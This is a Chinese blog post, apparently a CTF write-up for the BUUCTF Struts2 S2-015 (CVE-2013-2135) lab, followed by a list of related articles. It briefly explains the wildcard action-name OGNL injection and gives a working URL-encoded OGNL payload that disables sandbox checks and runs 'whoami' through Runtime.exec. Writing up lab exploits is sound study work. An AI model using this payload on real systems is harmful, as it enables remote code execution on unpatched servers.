buuctf [struts2]s2-015

最新推荐文章于 2024-06-23 08:00:00 发布
最新推荐文章于 2024-06-23 08:00:00 发布
阅读量342 收藏 1
点赞数
分类专栏： buuctf real 文章标签： struts2
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36241198/article/details/115104552
版权

漏洞描述

基于通配符定义的动作映射，如果一个请求跟任何其他定义的操作不匹配，他将会匹配*，并且请求的同操作名称的jsp文件
https://blog.csdn.net/qq_45625605/article/details/103138548

在这里插入图片描述
将：
http://node3.buuoj.cn:27791/welcome.action
改成：
http://node3.buuoj.cn:27791/%25%7B1%2B1%7D.action
在这里插入图片描述
POC
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
在这里插入图片描述
还得使用工具
在这里插入图片描述

拿到flag！

exploitsec
关注
专栏目录
[ vulhub漏洞复现篇 ] Struts2远程代码执行(S2-015)（CVE-2013-2135）
qq_51577576的博客
11-19 778
[ vulhub漏洞复现篇 ] Struts2远程代码执行(S2-015)（CVE-2013-2135） Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值（可导致判断OGNL代码两次）的请求，利用该漏洞执行任意OGNL代码。
墨者学院-Apache Struts2远程代码执行漏洞(S2-015)复现
JimWu的博客
09-04 2056
Apache Struts2远程代码执行漏洞(S2-015)复现 难易程度:★★ 题目类型:命令执行 使用工具:FireFox浏览器 漏洞原理: 如果一个请求与任何其他定义的操作不匹配，它将被匹配，*并且所请求的操作名称将用于以操作名称加载JSP文件。并且，1作为OGNL表达式的威胁值，{ }可以在服务器端执行任意的Java代码。 1.打开靶场，测试是否存在漏洞。 输入/${1+1}.action...
墨者学院_Apache Struts2远程代码执行漏洞(S2-015)复现
cc_de_csdn的博客
08-26 732
1.由题意得知靶场存在S2-15漏洞 2.使用struts2漏洞扫描工具对网站进行扫描发现存在漏洞 3.使用工具的远程代码执行功能，通过ls发现存在key文件，通过cat访问key文件得到key ...
Struts2 S2-015 远程代码执行漏洞（CVE-2013-2135）
最新发布
qq_68163788的博客
06-23 433
Apache Struts 2是一个用于构建企业级Java Web应用程序的开源Web应用程序框架。它采用MVC（Model-View-Controller）模式，允许开发人员将业务逻辑、数据传输和用户界面分开，从而实现更好地组织和维护代码。Struts 2具有强大的功能，包括拦截器支持、表单验证、国际化、标签库、表单标记等，使开发人员能够快速构建功能丰富的Web应用程序。
08#墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现
shy的博客
11-25 1359
墨者学习 By/shy014 背景介绍 某日，安全工程师"墨者"对一单位业务系统进行授权扫描，在扫描过程中，发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞，...
S2-015 远程代码执行漏洞
EC_Carrot的博客
08-10 408
漏洞简介 影响版本: 2.0.0 - 2.3.14.2 详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-015/README.zh-cn.md 漏洞复现 根据vulhub的环境，如name.action页面，在name处传入以下POC即可运行命令： ${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getD
Struts2远程代码执行漏洞分析（S2-013）1
08-08
Struts2 远程代码执行漏洞分析（S2-013） Struts2 是 Apache 官方的产品，最近出了一个远程代码执行漏洞，编号“S2-013”，目前是 0DAY，官方没有修补方案出现。这个漏洞出现在 includeParams 属性中，允许远程命令...
Struts2 S2-029远程代码执行漏洞初探1
08-08
Struts2 S2-029 远程代码执行漏洞初探 Struts2 是一个基于 Java 的 Web 框架，使用 OGNL 表达式来访问 ActionContext 中的对象数据。在 Struts2 中，标签库使用 OGNL 表达式来获取对象数据，例如 `...
struts2漏洞s2-045，不升级jar版本的修补方法，已验证.docx
07-04
Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架，广泛应用于企业级应用程序中。然而，Struts2 中存在着一些漏洞，例如 S2-045 漏洞，该漏洞可能会导致严重的安全问题。今天，我们将...
Struts2 S2-020在Tomcat 8下的命令执行分析1
08-08
Struts2 S2-020 是一个严重的安全漏洞，主要影响使用Apache Struts2框架构建的Web应用程序。该漏洞允许远程攻击者通过OGNL（Object-Graph Navigation Language）表达式执行任意系统命令，从而可能导致拒绝服务（DOS...
Struts2之struts2自带插件实现异步调用案例struts015
12-07
参考博文：http://blog.csdn.net/u011638419/article/details/41785683
Struts2 S2-015复现
ZJT6666666的博客
02-04 341
Struts2 S2-015复现
s2-015远程代码执行漏洞
Stephen Wolf
11-19 2509
一、漏洞描述： 漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如： ```xml <package name="S2-015" extends="struts-default"> <action name="*" class="com.demo.action.PageAction"> ...
在线靶场-墨者-命令执行2星-Apache Struts2远程代码执行漏洞(S2-015)复现
weixin_42079912的博客
08-09 1173
s2-015漏洞的原理：Struts 2允许基于通配符定义动作映射，如果一个请求与任何其他定义的操作不匹配，它将被匹配，*并且所请求的操作名称将用于以操作名称加载JSP文件。并且，1作为OGNL表达式的威胁值，{ }可以在服务器端执行任意的Java代码。 打开靶场网页，等网页加载完。如果没有加载完(靶场环境可能没有完全部署好)，可能会影响工具检测结果。 方法一：Struts2漏洞检查工具2017...
struts2系列-Real-BUUCTF平台
~airrudder~
04-24 3867
本篇内容 [PHP]XXE [ThinkPHP]5-Rce [ThinkPHP]5.0.23-Rce [ThinkPHP]2-Rce 上一篇 | 目录 | 下一篇 [PHP]XXE 打开就显示phpinfo，直接搜索flag就出来了。 不知道是不是环境坏了。 [ThinkPHP]5-Rce [ThinkPHP]5.0.23-Rce [ThinkPHP]2-Rce ...
[旧文系列] Struts2历史高危漏洞系列-part3：S2-012/S2-013/S2-015
mole_exp的博客
01-18 1423
文章目录关于<旧文系列>前言S2-012漏洞复现与分析可回显PoC漏洞修复S2-013漏洞复现与分析可回显PoC漏洞修复S2-015漏洞复现与分析Vuln-1: Wildcard matchingVuln-1 可回显PoCVuln-2：Double evaluation of an expressionVuln-2 可回显PoC漏洞修复针对 Vuln-1：Wildcard matching 的漏洞修复针对 Vuln-2：Double evaluation of an expression 的漏洞
s2系列——s2-012，s2-013,s2-015,s2-016
qq_54030686的博客
03-03 3542
struts系列漏洞不在复现，插入payload即可，更换想要执行的命令即可，相关payload在vulhub中的readme.md文档中可以获取到，由于逻辑都一样，利用脚本直接使用github的struts.py即可 s2-012 ```go ```go ```go ```python def s2012(url): try: proxy = '192.168.43.74:8080' # 本地代理 proxies = { 'http
java struts2 漏洞复现合集
whatday的专栏
08-31 5668
目录 一、S2-001复现 二、S2-005复现 三、S2-007复现 四、S2-008复现 五、S2-009复现 六、S2-012复现 七、S2-013复现 八、S2-015复现 九、S2-016复现 十、S2-045复现 十一、S2-048复现 十二、S2-052复现 十三、S2-053复现 十四、S2-057复现 十五、S2-019复现 十六、S2-devMode 复现 Apache Struts2 是一个基于MVC设计模式的Web应用框架，会对某些标签属性（比如 i
CTF-Apache Struts2远程代码执行漏洞(S2-015)复现
asd158923328的博客
08-21 810
根据题意 针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符 *，并将其作为动态值时，解析时会将其内容执行 OGNL 表达式，例如：/{1}.jsp 上述配置能让我们访问 name.action 时使用 name.jsp来渲染页面，但是在提取 name 并解析时，对其执行了 OGNL 表达式解析，所以导致命令执行。在实践...
STRUTS2 S2-015漏洞详解：OGNL执行与安全策略
本文主要讨论的是关于Struts2框架在2013年的一个安全漏洞——S2-015的分析。S2-015漏洞源于Struts2框架对URL中文件名的解析不当，导致了OGNL（Object-Graph Navigation Language）代码执行，这是一种潜在的安全风险...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值